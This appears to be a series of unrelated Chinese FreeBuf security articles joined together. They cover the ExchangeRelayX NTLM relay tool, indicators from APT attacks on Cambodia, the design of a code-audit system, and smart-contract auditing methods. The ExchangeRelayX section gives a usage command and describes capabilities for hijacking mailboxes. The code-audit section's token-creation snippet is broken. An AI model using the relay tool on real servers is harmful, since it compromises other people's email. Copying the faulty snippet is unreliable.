今天给大家介绍的是一款名叫ExchangeRelayX的工具,这是一款NTLM中继工具,适用于EWS节点和On-Premise微软邮件交换服务器。

a.png

ExchangeRelayX

该工具当前版本为v1.0.01,其实本质上来说它是一个PoC工具,可以演示攻击者如何基于NTLM中继攻击来攻击EWS节点和On-Premise微软邮件交换服务器,并入侵目标用户的电子邮箱。该工具可以给攻击者提供一个OWA查询接口,并访问目标用户的邮箱以及通讯录。

工具开发背景

本工具于Defcon 26发布,关于该工具的详细视频以及演示内容可以从这个DEMO中获取:【DEMO传送门】。

工具安装

pip install -r requirements.txt

工具使用

简单,暴力:

./exchangeRelayx.py -t https://mail.quickbreach.com

功能介绍

1.访问EWS服务器的原始XML数据;

2.向目标用户的邮件添加重定向规则,以实现后门安插;

3.下载目标用户邮箱中收件箱邮件和发件箱邮件的所有附件;

4.搜索目标账户的全局邮件通讯录;

5.以目标用户的身份发送带有附件的电子邮件,邮件不会存储在目标邮箱的发件箱发件箱中。

程序架构

本项目分为owaServer、中继服务器和HTTP攻击客户端(exchangePlugin),每一个组件都会建立不同的中继链接。

owaServer

owaServer是一个基于Flask框架的Web服务器,默认监听http://127.0.0.1:8000。这个Web服务器托管静态HTML文件index.html、OWA.html和ComposeEmail.html,owaServer终端会通过JSON请求来加载和调用这些文件。当客户端向owaServer发送请求时,owaServer会生成相应的EWS调用并将其写入共享内存目录中,然后把请求发送至邮件交换服务器。最后,当owaServer获取到请求之后,会对数据进行解析并返回处理结果。

中继服务器

这个中继服务器基于标准的Impacket HTTP和SMB实现,它们将为每一个新的中继链接创建新的exchangePlugin实例。

exchangePlugin

exchangePlugin实际上是一个专门发送/接收EWS服务器请求/响应的HTTP客户端。所有的exchangePlugin在初始化时都会被发送到相同的共享内存目录中,它们会使用这个目录进行内部进程通信。

备注

该工具在Server 2012 R2系统的Exchange 2013上测试过,所以个人认为该工具应该也适用于其他环境。

*参考来源:ExchangeRelayX,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

screen_5.png近期,法国安全研究者兼 BotConf 和 FastIR创始人Sebastien Larinier继续发布线索,声称中国黑客组织Goblin Panda曾针对柬埔寨和韩国发起了APT攻击。在这篇文章中,Sebastien披露了Goblin Panda针对柬埔寨APT攻击中所所使用的恶意文档。

恶意文档相关信息

RTF文档

SHA256: 9d0c4ec62abe79e754eaa2fd7696f98441bc783781d8656065cddfae3dbf503e

攻击者利用该文档,可在目标系统中生成一个合法文件。

核心的远控程序(RAT)

SHA256: 77361b1ca09d6857d68cea052a0bb857e03d776d3e1943897315a80a19f20fc2

dll文件

SHA256: 4a5bf0df9ee222dac87e2f1b38b18660ebb92de8ba3f1cbc845f945a766dd6a6

C2

dll文件会回连域名weather.gbaycruise.com,该域名对应IP为103.193.4.106,它与早前Sebastien发现的中国黑客组织针对越南政府APT攻击的另一使用IP地址103.193.4.115,有多处网络架构重合。

01.png另外有意思的是,对柬对越攻击中用到的所有域名都是通过注册机构NAMECHEAP INC注册的,并且使用的是同一个域名服务器,同时,其中一个SHA256为0e32ce9e0c309859fd0d1193f54cad0dde7928053795892a0f6c8c96cbf6753d的dll文件,还会回连域名baoin.baotintu.com。

02.pngSebastien认为,综合7月份FireEye发布的报告来看,他判断这个恶意文档是Goblin Panda用来攻击柬埔寨政府的。

FireEye曾经披露的报告要素

今年7月,FireEye披露调查线索,怀疑中国黑客组织TEMP.Periscope在柬埔寨大选前,意图入侵柬埔寨政府获取柬埔寨大选相关信息。FireEye的调查要点如下:

攻击者用 chemscalere[.]com 和 scsnewstoday[.]com两个域名作为C2回连域名,并在上面架设了网页服务;另外,还利用第三个域名 mlcdailynews[.]com作为用途为SCANBOX的网站服务;攻击者利用的C2域名服务器中留下了一些日志记录和用到的恶意软件。

FireEye通过反入侵以上三个服务器,获取了其中的日志和其它相关信息,得出以下初步结论:

攻击者从隶属中国海南的某个IP地址远程登录和控制以上服务器,针对目标系统的恶意软件植入、命令控制和数据获取进行掌控;

攻击者的入侵已经成功渗透到柬埔寨相关的教育、航空、化工、国防、政府、海事和科技等领域的多个部门;

FireEye经过识别,已经通知了所有的受害者单位;

攻击者在入侵中还使用了新系列的恶意软件:DADBOD 和 EVILTECH,之前被识别的恶意软件系列为AIRBREAK、EVILTECH、HOMEFRY、MURKYTOP、HTRAN和SCANBOX。

FireEye通过C2服务器上的命令控制记录,还得到了一些针对7月底柬埔寨大选进行网络攻击的线索:

FireEye发现了一封针对柬埔寨反对派人士的钓鱼邮件;

FireEye发现多个柬埔寨政府实体受到攻击,包括柬埔寨的国家选举委员会、内政部、外交和国际合作部、柬埔寨参议院、经济和财政部;

FireEye发现柬埔寨国家救援党多个议员、人权和民主倡导人士和两名柬埔寨海外外交官成为攻击者目标;

FireEye发现多个柬埔寨媒体机构成为攻击者目标。

其它发现

Sebastien Larinier综合FireEye的上述报告,他自己又发现了一个与此攻击相关的新的恶意文档,c0b8d15cd0f3f3c5a40ba2e9780f0dd1db526233b40a449826b6a7c92d31f8d9,该恶意文档回连的IP地址为103.243.175.181,该IP地址还可关联到另一域名update.wsmcoff.com,其对应的IP地址为185.174.173.157,最终,IP地址185.174.173.157会与FireEye报告中的C2服务器chemscalere.com发生关联行为。

03.png因此,综合以上发现,Sebastien Larinier认为,update.wsmcoff.com也是TEMP.Periscope使用的网络攻击架构之一,Goblin Panda和TEMP.Periscope都曾对柬埔寨政府发起网络攻击,它们两个组织之间有着多个相同的技术能力特点。

*参考来源:medium \ fireeye,clouds编译,转载请注明来自FreeBuf.COM

上一篇文章《代码自动化扫描系统的建设(上)》 主要介绍了自动扫描系统的背景和要实现的目标,这篇里我们将会详细介绍各个层与模块的设计。

一、系统设计

1.1 基础与准备

这里我们主要使用 Linux 来搭建我们的自动化扫描系统,按照设计的角色划分,我们这里需要三台 CentOS 7 的服务器,当然服务器可以是物理设备也可以是虚拟机,如果公司内部的扫描项目较多或为以后扩展考虑意见使用物理机。

服务器数量 操作系统 扫描引擎 数据库 开发语言 角色
3台 CentOS 7 SonarQube MySQL Python UI+MySQL+MQ
扫描节点
第三方引擎(SonarQube)

服务器划分:

这里我们假定一个 codeaudit 域, 三台服务器的主机名称分别为:

(1). ui.codeaudit: 负责后台管理系统的部署,包括数据库、MQ。

(2). task.codeaudit: 负责调度扫描引擎。

(3). sonarqube.codeauit: SonarQube的后台服务端。

1.2 技术说明

这里会讨论到所需的具体技术点,有些技术或方法可能不是最佳的方案,但是已经过我们测试检验是可行的。

以下为实际开发中用到的一些技能:

(1). Python/Django/Jquery/Celery

(2). Gitlab API/Sonar API

(3). Git/Gitlab CI/Jenkins

(4). Centos 7/Shell

(5). NFS/Nginx/uWSGI

(6). MySQL/RabbitMQ/Redis

(7). 安全漏洞知识

CentOS 7

CentOS 7 与 6 的版本会有一些区别,我们需要具有 Linux 的基本操作基础,了解 systemctlfirewall-cmdcrontab等命令;了解SELinux,修改SELinux状态;并能编写systemd的自启动脚本。

Git

了解 Git 的基本操作命令,使用 SSH 密钥的方式提交或拉取代码; 熟悉git clonegit loggit pullgit branchgit remotegit fetchgit for-each-refgit ls-files等基本命令的操作。

例如:

使用git for-each-ref来得到当前分支的最后一次 commit id;

使用git ls-files来判断项目中是否存在sonar-project.properties配置文件;

使用git log -n1 /path/file来获取文件最后一次 commit 的作者。

CI/CD

不论是集成到 Gitlab CI 或是Jenkins, 我们都需要先了解项目上线的基本流程,如:开发的代码规范、测试环节(单元测试/功能测试)、发布部署环节等。一般我们会将代码扫描环节放在在测试环节后,发布部署前。

Python

这里我们使用Python进行后台的服务端开发,使用Django进行前台 UI 的开发,使用django-rest-swagger来开发 API 接口,使用Celery作为扫描任务的调度框架。

数据库与中间件

数据库我们选择使用 MySQL 5.7(或MariaDB, 他们在使用上没有太大的区别); Celery 的消息中间件可以使用 Redis 或是 RabbitMQ,这里你可以在开发的时候使用 Redis,正式部署时使用 RabbitMQ

安全漏洞知识

(1). 了解 OWASP TOP 10 的漏洞类型原理与解决方案;

(2). 了解 CWE 的漏洞信息;

(3). 了解公司主流的开发语言。

1.3 模块设计

下图中我们自上而下按照逻辑大致划分了”四”层:UI层、存储层、服务层、任务调度扫描引擎层(由于任务调度与服务同在后台运行,所以又统称为服务层)。

Topology.png

1.3.1 UI 层

提供扫描系统的后台管理、API接口、漏洞知识库等一系列的交互功能入口,不同的人员或系统可以根据各自的需求通过不同的交互接口来满足自己需求。如:CI/CD系统可通过 API 接口创建扫描任务并获取扫描结果;安全审计人员可通过后台进行规则或插件的添加;开发人员可通过漏洞知识库来获取相关语言或技术的漏洞信息。

1.3.2 存储层

主要包括关系型数据库、消息中间件(指MQ)、NFS(网络文件系统),这里我们使用了 MySQL 5.7 的数据库; RabbitMQ 是作为 Celery 调度框架的消息中间件;NFS担当网络共享存储,用于存储代码与扫描日志。

1.3.3 调度层

扫描任务的执行流程,主要可分为:

(1). 初始化:扫描任务的环境初始化,如:日志目录、日志文件、加载插件、加载漏洞规则等;

(2). 分析项目:项目代码统计、依赖组件统计、漏洞知识库关联等;

(3). 扫描漏洞:调用第三方扫描引擎、统计扫描结果;

(4). 漏报处理:使用黑名单规则和插件进行扫描;

(5). 误报处理:使用白名单规则和插件进行误报处理;

(6). 闭环漏洞:针对高危漏洞在 GitLab 或 Jira 系统中创建一个 Issue。

1.3.4 服务层

后台的服务,其主要包括:GitLab 系统中的项目同步、报表生成、调度进程监控。

二、系统功能

2.1 数据库设计

2.1.1 权限相关

权限控制,这里使用 django 自带的权限表来进行权限控制,我们可以通过auth_group表来创建用户组,为不同的用户组赋予不同的角色权限auth_group_permissions,你可以访问官方地址:https://docs.djangoproject.com/en/2.1/topics/auth/default/#topic-authorization来获得更多关于权限的信息。

django 权限表如下:

auth_group

auth_group_permissions

auth_permission

auth_user

auth_user_groups

auth_user_user_permissions

db_auth.jpg

2.1.2 项目相关

项目表主要包括:项目组、项目、分支与TAG、统计信息、依赖组件、插件规则、扫描任务等相关表。

db_project.png

2.1.3 漏洞知识库

漏洞知识库,这里主要存储漏洞类型、漏洞知识等内容。

db_vuln.png

2.1.4 系统相关

系统表主要包括系统的安全周报、节点监控、系统日志等信息。

db_system.png

2.2 UI系统

扫描系统的后台,方便安全审计人员管理项目和系统。

2.2.1 项目管理

2.2.1.1 项目组

项目组我们通过 GitLab 的 API 同步所有项目组信息到我们的扫描系统,项目组的信息包括:项目组名称项目组描述创建时间URL地址项目成员等。

2.2.1.2 项目

项目是从分组中获取得到,需要注意的是可能会存在项目名相同但分组不同的情况。项目基本信息应包括:项目名称、项目描述、所属分组、默认分支、Git地址、项目成员、代码统计、依赖组件、分支管理、TAG管理等。

project_list.jpg

2.2.1.3 扫描任务

扫描任务会有四种状态:等待调度、正在扫描、扫描完成、扫描失败。每一次创建扫描任务时,都会查询是否存在等待调度或正在扫描的任务,如果存在则提示创建失败。

project_task.png

2.2.2 规则插件

2.2.2.1 规则

这里使用正则表达式来做特征匹配,并可通过限定文件的后缀来提高精准度。

正则表达式标志位:

(1). 忽略大小写

(2). 支持多行匹配

rule.png

2.2.2.2 插件

这里使用了 Python 的反射机制,任务初始化时会优先初始化插件,当扫描完成时,扫描引擎会使用插件批量进行检测。插件入口函数为run(),漏洞详情对象会作为**kwargs参数的上下文传到该函数中。

plugin.jpg

2.2.2.3 规则知识库

规则知识库是区别与漏洞知识库的,往往规则知识库的内容要比漏洞知识库的内容简单,但是结构清晰。如:漏洞示例代码、漏洞说明、解决办法、参考链接等信息。

rule_kb.png

2.2.3 漏洞知识库

2.2.3.1 漏洞类型

这里建议使用 CWE 的漏洞标准,可参考这个文档:https://www.hackerone.com/sites/default/files/2017-03/WeaknessAndLegacyVulnerabilityTypeRelationship.pdf

cwe.jpg

2.2.3.2 漏洞管理

主要包括添加漏洞和管理漏洞,漏洞的信息应该包括:CVE/CNVD/CNNVD编号、漏洞标题、风险等级、漏洞来源、发现时间、受影响范围、漏洞详情、漏洞类型、解决版本等基本信息。

vuln.jpg

这里我们要实现漏洞知识库与识别出的组件联动功能,主要通过两个属性:

(1). 组件标签

这里需要为每个漏洞添加一个 Tag 属性,其属性值如:org.springframework、com.alibaba.fastjson,建议标签一律使用小写字母。

(2). 版本规则

使用正则表达式来进行匹配,如:CVE-2018-1270 中受影响的 Spring Framework 版本为:5.0.x-5.0.5 和 4.3.x-4.3.16,那么我们的规则可以写成如下:

5\.0  ### 5.0
(5\.0\.[0-4]{1}) ### 5.0.x -5.0.5
(4\.3\.1[0-5]{1}) ### 4.3.1x.release
(4\.3\.[0-9]{1}\.) ### 4.3.x.release

2.2.4 报表管理

2.2.4.1 语言与项目统计

按照年份进行项目的语言统计。

report_project.png

2.2.4.2 周期性漏洞统计

每季度漏洞数对比

季度统计是为了对比同一段时期的漏洞数。

report_quarter.png

高危漏洞趋势图

高危漏洞环比,今年实施的安全政策是否合乎预期,可以大概分析出来。

report_year.png

2.3 API接口

2.3.1 接口认证

使用 rest_framework 的 API 来做验证,首先根据登陆的用户 id 生成一个 Token。

from rest_framework.authtoken.models import Token

def create_token(request, user_id=None):
    if request.user.id != int(user_id):
        return HttpResponseRedirect("/error/403")
    try:
        user = User.objects.get(id=user_id)
    except Token.DoesNotExist:
        token = Token.objects.create(user=user)

    return HttpResponseRedirect("/users/{0}".format(user_id))

验证接口使用说明,添加 Authorization 的认证 Token。

auth_api.png

2.3.2 项目信息接口

信息同步

为什么需要信息同步?这是因为 GitLab 中的项目名称可能不是最终上线的 APP 名称(这里有些绕)。拿一个 Java 的项目举例,该项目的 GitLab 地址为:http://git.companyname.com/A/cloud,那么这个Java的包名有可能是 com.companyname.cloud

我们使用项目的 git 地址来同步信息,建议把 git 地址全部转换为小写。APP 的名称(包名)可以 CI/CD 系统获取或是通过配置文件的硬编码方式来定义。

api.jpg

创建扫描

信息同步完成后,我们就可以根据 APP 名称和 git 地址来创建一个扫描任务,请求参数参考如下:

(1). app_name: APP名称(可选)

(2). module_name: 模块名称(可选)

(3). version: 当前版本(可选)

(4). git_url: git地址 (必选)

(5). branch_name: 分支名称(必选)

2.3.3 任务信息接口

查询扫描任务

根据项目的 git 地址、分支来查询扫描任务,你也可以根据上一步创建扫描任务的 ID 来查询扫描结果。

查询任务漏洞列表

当扫描任务状态为扫描完成/扫描失败时,就可以根据任务 ID 来查询扫描出的安全漏洞信息。

2.3.4 漏洞规则接口

查询漏洞规则知识

通过漏洞信息中的漏洞规则 ID 或者 Key 来查询相关的规则知识库,该知识库应当包括:漏洞原因、漏洞示例代码、解决修复意见等。

2.4 后台服务

2.4.1 gitlab 的信息同步

使用 crontab 每两个小时遍历一遍 GitLab 上的所有项目,并同步项目信息到扫描系统中。

sync.jpg

2.4.2 报表生成服务

使用 crontab 每日凌晨12点生成,季度对比和年度的安全统计数据。

2.4.3 扫描进程监控

使用ps aux| grep codescan来查看进程是否存活,当然这种暴力方式不能检测到进程的业务健康度的(比如:扫描任务卡死,状态一直为:正在扫描)。

2.5 SonarQube 搭建

2.5.1 服务搭建

下载最新版本https://www.sonarqube.org/downloads/上传到sonarqube.codeauit服务器上并解压。进入到bin/linux-x86-64/目录下,执行 sh ./sonar.sh start。 SonarQube 启动成功后,使用浏览器打开http://192.168.10.3:9000, 输入 admin/admin 即可正常访问。

2.5.2 插件管理

SonarQube 6.4 版本登陆的后台管理系统,选择 “配置” -> “系统” -> “更新中心” , 选择对应插件点击 “Install” 进行安装。

SonarQube 7.3 版本, “Administration” -> “Marketplace”, 选择对应插件点击 “Install” 进行安装。

sonarqube.jpgSonarQube 6.4 截图

2.6 引擎调度

程序部署在 “task.codeaudit” 服务器上,服务需要安装 cloc 与 sonar-scanner 工具。

2.6.1 代码同步

同步代码分为以下几个步骤:

克隆项目

这里可能会遇到一些坑,比如项目历史比较久远,完整克隆下来可能会达到上百M或G,我们这里可以使用--depth 1参数进行克隆下载。有的项目可能会存在不规范的情况,比如拿 git 当 svn 使用,每个版本创建一个目录。

切换分支

根据扫描任务中的分支名称 checkout 到指定分支。

更新代码

针对已经克隆的项目进行 pull 操作,来同步 GitLab 上的项目更新代码。

2.6.2 sonar-scanner 扫描

ssh 登录到task.codeaudit服务器上,执行cd /opt && wget https://sonarsource.bintray.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-3.2.0.1227-linux.zip && unzip sonar-scanner-cli-3.2.0.1227-linux.zip来下载并解压,执行成功后使用ln -s /opt/sonar-scanner-3.2.0.1227-linux/bin/sonar-scanner /usr/bin/sonar-scanner命令创建一个sonar-scanner 的软连接。这里我们会使用sonar-scanner命令来进行项目的代码扫描。

你也可以通过https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner来下载不同平台的sonar-scanner-cli-3.2.0.1227-linux.zip

sonar-scanner.jpg

2.6.3 代码统计

使用cloc工具进行文件与代码行数的统计, 这里你可能需要通过--exclude-ext--exclude-dir参数来过滤一些无意义的文件,比如:字体、图片、声音、视频等。举个例子,过滤所有图片后统计:cloc ./目标路径 --exclude-ext=.jpg,.jpeg,.png,.bmp,.gif,ico

2.6.4 项目组件分析

组件分析主要是针对如使用 Java 语言开发项目时使用 Maven 管理的 pom.xml 配置文件; Python 中的 requirements.txt 文件;JS 项目中的package.json文件做解析。这里我写了一个clocwalk 工具可以分析项目的依赖组件,这个项目目前已经开源,你可以通过https://github.com/MyKings/clocwalk地址来获取这个工具。

2.6.5 漏报处理

关于漏报问题,你可以根据自己企业 SRC 中的漏洞,总结出一套适合自己企业的黑名单规则;或者你可以添加一些 CWE 的漏洞规则,关于 CWE 的信息你可以访问这个地址 https://cwe.mitre.org/data/index.html

2.6.6 误报处理

关于误报问题可能会较多,比如扫描出单元测试或功能测试的硬编码问题;比如变量参数String PARAM_NAME_PASSWORD="passwd_txt";问题。以上的问题我们可以通过白名单插件处理,比如插件中对文件路径和方法判断是否存在 test 关键字,如果存在我们就认为这个是误报。另外针对某些特殊类型的误报,比如在 A 项目下才是误报,其他项目就是漏洞的情况,我们可以设置这个项目的白名单漏洞 Case,其匹配规则条件为:项目名称、漏洞文件、漏洞类型、漏洞所在行,当所有条件都同时满足时,那么这个漏洞就会可以判断为误报。

2.6.7 漏洞闭环

当一个高/中危漏洞被发现并确认时,我们应该如何跟踪这个漏洞的生命周期?往往安全人员会将一个漏洞提交到内部的 SOC 系统中,由于 SOC 系统没有和项目开发的流程控制系统(如:Jira)没有直接联系,开发人员可能会忽视或忘记修复这个高危漏洞,如何避免这种情况?我们这里以 GitLab 举例,当扫描系统扫描出高危漏洞时,系统会通过 GitLab 的 POST /projects/:id/issues API接口来自动创建一条 issue 并指派给当前项目的 master,项目负责人同时会收到一条邮件提醒,那么项目负责人可根据漏洞严重程度来安排项目的迭代计划,这样我们就把审计系统扫描出的漏洞与项目开发流程很好的结合起来了。

2.7 GitLab CI 触发

当然也可以使用 Jenkins 来做 CI/CD 系统。我们这里开发了一个.code-audit.py触发脚本, Jenkins 你也可以使用 Python 脚本或是开发 Jenkins 插件来达到触发目的。

2.7.1 配置项目

这里需要了解 .gitlab-ci.yml 文件格式的编写,下面是一个 Python 项目的配置。可以看出整个 CI 过程分为 4 个阶段:buildtestcodeauditdeploy。 其中codeaudit是我们的代码扫描阶段,这里我们限制了只有 develop 的动作才会触发扫描。

gitlab-ci.jpg

2.7.2 扫描脚本

触发扫描脚本如下图,其大体的执行流程如下:

(1). 获取 GitLab CI 中关于项目的环境变量信息;

(2). 设定要拦截的漏洞级别,默认:中、高危漏洞不通过测试;

(3). 同步项目信息到扫描系统,如果失败扫描代码不通过;

(4). 创建扫描任务,如果失败扫描代码不通过;

(5). 异步查询扫描结果,超时时间10分钟,如果超时扫描代码不通过;

(6). 扫描结果完成,统计是否存在预定义级别的漏洞,如果存在扫描代码不通过。

code-audit-py.jpg

下图为整个 CI 过程的截图。

ci.png

下图为代码扫描失败的反馈结果,图中可以看出发现了一个漏洞。

ci_faild.jpg

三、总结

关于 “自动代码审计系统的建设” 文章这里就此完结了。下篇中有些章节可能说的比较笼统宽泛,但是要对每一个章节详详细细的说明,恐怕每一个章节都会写下不止一篇文章了,本篇文章只是为大家提供一种思路,具体实施效果还是要靠大家自己来实践总结,就这样吧:)

四、参考链接

https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html

https://git-scm.com/docs

https://docs.gitlab.com/ee/api/

https://about.gitlab.com/features/gitlab-ci-cd/

https://docs.gitlab.com/ce/ci/yaml/README.html

https://docs.gitlab.com/ce/ci/examples/README.html

https://docs.gitlab.com/ee/api/issues.html

https://docs.gitlab.com/runner/install/docker.html

https://docs.sonarqube.org/display/DEV/Web+API

https://docs.djangoproject.com/en/2.1/topics/auth/default/#topic-authorization

https://www.sonarqube.org/downloads/

https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner

https://www.hackerone.com/sites/default/files/2017-03/WeaknessAndLegacyVulnerabilityTypeRelationship.pdf

https://github.com/MyKings/clocwalk

*本文作者:MyKings,转载请注明来自FreeBuf.COM

前言

经过THE DAO事件、币安被盗事件,智能合约的安全性越来越受到业内关注。本文根据猎豹区块链安全专家杨文玉9月5日在星球日报P.O.D大会上的分享录音整理而成,浅析当前智能合约的发展现状,以及智能合约自动化检测的一些方法。

一、智能合约发展现状

首先我们来一起看看现在智能合约发展的一个现状:在过去一个月当中,智能合约的数量每天还在以1317个的平均增长率高速稳定的增长着,这和我们所理解的“区块链现在处于寒冬的时期”不太一样,其实智能合约的增长率还是比较稳定的。

现在智能合约比较多的应用在一些基础设施、商业零售、游戏以及社交媒体和通讯领域中。

智能合约发展现状

二、智能合约安全现状

从17年9月到18年6月,智能合约的漏洞频繁爆发,每次漏洞爆发都带来了大量的资金损失。这使得一些区块链开发者、智能合约的开发者或者一些用户对智能合约安全性产生高度的质疑,也阻碍了以太坊之后的一些发展。

除了基本的智能合作安全,现在DAPP的安全也是受到了极大的关注。比如说FOMO3D在兴起的时候,仅仅在第二天就出现了大量的山寨合约、山寨的游戏。在这些游戏中,开发者巧妙地更改了资金分配的逻辑,使得玩家在玩FOMO3D游戏的过程中,投入的资金其实大部分都是流向于这种山寨合约的开发者的,这对DAPP的发展有了极大的阻碍。

现在我们共同面临着一个问题——如何保证海量的智能合约的安全。

三、智能合约自动化审计方法

我们来回顾一下现在智能合约的情况。截止到昨天中午12点,据统计,现在共有193万个智能合约,并且一直保持着稳定的日增长率。现在的审计方法有人工的攻防审计以及自动化的审计。

在海量的智能合约中,最好的一种设想就是要降低人工审计的一些复杂度,从而更多的通过自动化审计来进行。

我们把自动化审计分为三个部分:

第一种就是特征代码的匹配,第二类就是基于形态化验证的自动化审计,最后一类是基于符号执行和符号抽象的自动化审计。

1、特征代码匹配

我们首先看这一项,特定代码匹配。大家从名字上来看应该就能理解到,其实它就是对恶意代码进行一些提取抽象,像我们之前做的代码静态检测,我们抽样成一种语义匹配,然后再去匹配它的静态源代码。

这种审计的方法的优点是显而易见的,比如说速度很快,因为它就是对原码进行一个字符串的匹配。第二是它能够迅速的响应新的漏洞,因为这种审计方法大部分是以插件形式开发,比如出现了一个新的漏洞,我们就可以快速提交一些新的匹配模式。

那么它的缺点在哪里呢?我们所理解的现在的区块链都应该是公开透明的,但实际情况并不是这样,我们大概做了一个统计,目前代码的开源率仅仅只占48.62%,

也就是在以太坊上其实有超过一半的智能合约是不开源的,只暴露它的一个OPCODE。

对于OPCODE的分析对于安全人员来说其实也是面临着巨大的挑战,有些人费了十分大的力气,去逆向OPCODE,这就导致了它的适用范围极为有限。

其次就是漏报率高。因为它的一些静态审计方法其实并不和传统的静态代码审计方法一致,传统的静态审计方法,比如说APP检测,我会调用库里面,确定稳定的一些函数,来对它进行审计,但智能合约里面它的一些函数、它一些特征等等,还是变化性比较多的,所以说它的漏报率会比较高。

2、基于形式化验证的自动化审计

第二个方法,我们来探讨一下现在比较火的,基于形式化验证的自动化审计。

形式化验证来审计智能合约安全,最早是在16年,由Hirai提供的,当时拿Isabelle高阶逻辑交互定理证明器,然后交EVM的一些OPCODE ,通过它的一个lem language转化成了一个形式化的model,然后通过形式化model的验证来去判断它代码中的逻辑是否存在问题。

而基于这项工作,之后由两个学家把形式化方法进行了进一步的改正,也就是说他们放弃了lem language这种比较低效的转换方式,采用了F-framework和K-framework将DVM转化为一个formal model,而F-framework就是NASA他们经常在航空航天领域当中做一些形式化漏洞验证的框架,而K-framework就是语意的一些整合框架。

3、基于符号执行、符号抽象的自动化审计

第三点,也是我今天想要着重跟大家交流的,以及现在最常用的方法,就是基于符号执行和符号抽象的一些自动化审计。

我们在分析一个智能合约的时候,我们首先要明确我们的分析对象是什么。也就像我们刚才在解释的那个特征匹配代码当中,我们知道其实现在EVM上合约代码大部分是不公开的。

我们就确认应该是一个EVM OPCODE,通过一些源码,编译,可以形成一个OPCODE,然后输入到我们自动化分析引擎。

在这种基于符号执行和符号抽象化的自动化审计框架里面,其实它有些共有的特性,就是它在OPCODE或者在输到这个引擎之后,都会转化成一个CFG,就是我们的一个Control flow graph,即控制流程图。

可以简单了解一下这个CFG是什么意思。CFG就是说他把合约代码里面的逻辑包装成每个块,然后有逻辑有分叉的时候,比如说有IF等等这种判断的时候,就把它分叉。

比如说左边这个assertion这个合约,我们首先是将input与256进行一个比较,那么在出现一个If的判断之后,我们需要对这个CFG进行一个分叉。

基于符号执行、符号抽象的自动化审计

CFG Builder主要是对OPCODE这种智能合约代码,把它形成一个十分庞大完善的一个CFG,然后让程序员更好的去了解它里面执行的一些逻辑。再有CFG生成了之后,就是这样两种分析方法。

第一类就是基于符号执行的验证,这边比较有代表性的,可能大家都比较熟知的像Mythril、Oyente、Maian。还有一种就是,上个月他们刚刚公开的一个符号抽象分析的方法,也就是Securify。

下面主要分析一下Oyente以及Securify这两种系统的一个具体的架构以及实现方法。

基于符号执行、符号抽象的自动化审计

Oyente符号执行验证

Oyente的逻辑是在CFGbuild形成之后,首先是一个EXPLORER,EXPLORER的意思就是说我会把代码当中的每一个流程都去验证一遍,进行一个之外的验证。

我们的验证就是是否有一个X,使得X不仅满足C1、C2、C3三个条件,并且Z=X+2,那么这时候我们可以判断他的状态是no还是yes,然后以此来验证整个逻辑的一个流程。

基于符号执行、符号抽象的自动化审计

到了第二个code analysis,这一部分其实是这个Oyente最为核心的一个部分,就是它将刚刚输出的EXPLORSE这种路径把它转化,至始至终只包含Ether的一些路径,进行一些漏洞验证,而他目前只提供包括TOD、Timestamp dependence、Mishandled exceptions这三种验证,最后系统为了保证误报率和漏报率,采用了微软的Z3Bit-Vector Solver 开源的验证器,然后来进行整体架构的一个封装。

基于符号执行、符号抽象的自动化审计

在刚刚我们讲述的过程当中,其实大家也应该了解到,在CFG转EXPLORER验证的时候,我们需要对它的循环的每次都进行一个验证,所以说这种分析方法特别耗时,并且也不一定成功。

比如说像parity的那个钱包代码,它的Oyente覆盖率仅仅达到20%,剩下80%的代码,是没有办法去跟踪的,所以这就是Oyente目前存在一个巨大的问题。

Securify符号抽象分析

在这个问题的基础上,像Securify他们就提供了另外一种方法,它们认为现在合约代码其实是特别容易解耦合的,不像我们传统的代码一样,它的耦合性特别高,但像合约代码里面,就有transfer等等一些比较固定解耦合的一些结构和模块,我们并不是需要对整个合约的逻辑进行的校验,可能我们就是对合约解耦合的各个模块进行校验分析,因此可以提高它的自动化程度。

这张图也就是他们整个在验证的一个流程:

基于符号执行、符号抽象的自动化审计

它们把contract bytecode转化成一种他们自定义的一种语义语言,然后通过自定义的语义语言,它们之后有一个验证模块,这个验证模块就特别像我们之前说的那种模式匹配,就是把一些漏洞转化成一种它验证语言的模式匹配的框架,然后去验证它这个语意在此是否满足他这个比较,最终会生成一个安全报告。

这里也给出了一个parity的例子,通过自动化审计的方法,最终可以输出钱包的owner其实是可以被修改的。

再具体一点,它是怎么做语义分析的呢?Securify分析这种合约代码,是从两个维度,第一个是逻辑,第二个是数据。

在逻辑方向的话,它定义了两种逻辑,第一个叫MayFollow,第二叫MustFollow。MayFollow的意思是说L2是有一条路径是跟在L1后面的,而MustFollow是说L2每一条路径都跟在L1后面。这两种区别定了它整个逻辑的一个框架。

第一个就是它的一个数据,它怎么定义合约里面的数据变化?分了三种,第一种是MayDepOn,就是两个因素,一个叫Y、一个叫T,T变Y可能变也可能不变。

第二个就是Eq,就是说Y是由T来决定的

第三个就是大家把DetBy和Y和T是一一对应的,只要T变Y就肯定要变了。

这里面就用更加形象的方法,我们想象一下,MayDepOn就是,变量是T,在一段时间当中Y可能是一个值,然后有的说T变Y可能不变,第三个DetBy就是说一对一的关系,就比如说我们知道哈希,哈希如果T变,Y就肯定要变。

基于符号执行、符号抽象的自动化审计

通过逻辑和数据这两个维度进行了一些验证,最终验证模块的话,现在提供了大概六七个智能合约漏洞的验证性的语言,而且这种语言都是以插件化的形式来写的,其他的安全开发者可以不断去丰富这个漏洞的验证语言,最终我们在对自动化审计进行一个评估的时候,我们其实是要从它的自动化程度,漏报率、误报率来评估这件事情的。

像我们现在知道的一些数据就可以表明出来,其实像Mythril跟Oyente,它里面存在大量的误报,比如说它检测出来的数据还是需要人工进行二次确认,这个工作其实是非常繁琐,而Securify这种方法可能误报率会降低。

这也是两种比较现在比较流行的符号执行和抽象的自动化审计方法。

四、总结回顾

最后我们回顾一下,现在做的智能合约审计的话可能分为三种,:特征代码匹配、形式化验证以及符号抽象。

回顾整个解释的过程当中,我们可以清楚地知道,现在自动化审计的方法其实是出于一个很不成熟的阶段。

它们主要面临三大问题:

第一个就是误报率高,其实它并不能做到完全自动化,它还需要人工的一些参与。

第二个就是它的自动化其实程度比较低,还需要不断有feedback去去审计。

第三就是审计时间比较长,比如说像Mythril,平均在60秒,Oyente大概在30秒,而Securify大概在20秒。

*本文作者:猎豹区块链安全实验室,转载请注明来自FreeBuf.COM

一、事件背景

